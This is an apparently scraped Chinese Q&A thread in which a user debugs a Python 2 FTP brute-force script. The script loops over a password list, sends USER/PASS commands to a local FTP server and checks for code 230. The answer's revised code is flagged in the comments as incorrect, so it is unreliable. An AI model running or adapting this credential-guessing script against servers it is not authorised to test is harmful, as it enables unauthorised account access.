Python ftp未发送密码

Python ftp未发送密码,python,python-2.7,ftp,filezilla,Python,Python 2.7,Ftp,Filezilla,我正在使用python制作FTP暴力程序,但在发送密码时遇到了问题。s.send正确地发送用户名,但是它失败了,没有发送密码,只是退出了。我需要它输入用户名的帐户,然后输入密码,然后检查它的代码尝试是=230。我在linux上运行python,而不是python3,在filezilla上运行我的文件ftp服务器,我可以使用我的机器连接到服务器 import socket import re import sys def connect(username, password): s

我正在使用python制作FTP暴力程序,但在发送密码时遇到了问题。s.send正确地发送用户名,但是它失败了,没有发送密码,只是退出了。我需要它输入用户名的帐户,然后输入密码,然后检查它的代码尝试是=230。我在linux上运行python,而不是python3,在filezilla上运行我的文件ftp服务器,我可以使用我的机器连接到服务器

import socket

import re

import sys

def connect(username, password):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "Trying to" + username + ":" + password
    s.connect(('192.168.2.237', 21))
    data = s.recv(1024)
    s.send('USER ' + username + '\r\n')
    data = s.recv(1024)
    s.send('PASS ' + password + '\r\n')
    data = s.recv (3)
    s.send('QUIT\r\n')
    s.close()
    return data
username = "admin"
passwords =["none", "test", "none"]
for password in passwords:
    attempt = connect(username, password)
    if attempt=="230":
        print "Password found: " + password
        sys.exit(0) 

有一些可用于FTP的库,您可以轻松地使用它们。如果您仍然想通过套接字模块实现它,请尝试下面的方法。您没有正确传递用户名和密码

import socket

import re

import sys

def connect(username, password):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "Trying to " + username + ":" + password
    s.connect(('10.2.16.15', 21))
    data = s.recv(1024)

    s.send(username + '\r\n')
    data = s.recv(1024)

    s.send( password + '\r\n')
    data = s.recv (3)
    print data
    s.send('QUIT\r\n')
    s.close()
    return data
username = "root"
passwords =["lade", "whopee", "oho"]
for password in passwords:
    attempt = connect(username, password)
    if attempt=="230":
        print "Password found: " + password
        sys.exit(0) 
输出

Trying to root:lade
530
Trying to root:whopee
530
Trying to root:oho
530

data=s.recv(1024)s.send('USER'+username+'\r\n')data=s.recv(1024)s.send('PASS'+password+'\r\n')
为什么要发送USER,PASS?您应该
send s.send(username+'\r\n')、s.send('PASS'+password+'\r\n')
使用Python 2.7.14,您的代码对我来说很好。是的,我修复了它,我的FTPOk有问题,我让它将密码输入ftp,谢谢。但当输入正确的密码时,它只显示530,这是登录错误或密码不正确,但当我输入正确的密码时,它也会打印530,但它应该打印230。实际上,OP使用
USER
PASS
FTP命令正确发送用户名和密码。你的代码错了。@MartinPrikryl:是的,我的错。OP代码在Python2.7.4中工作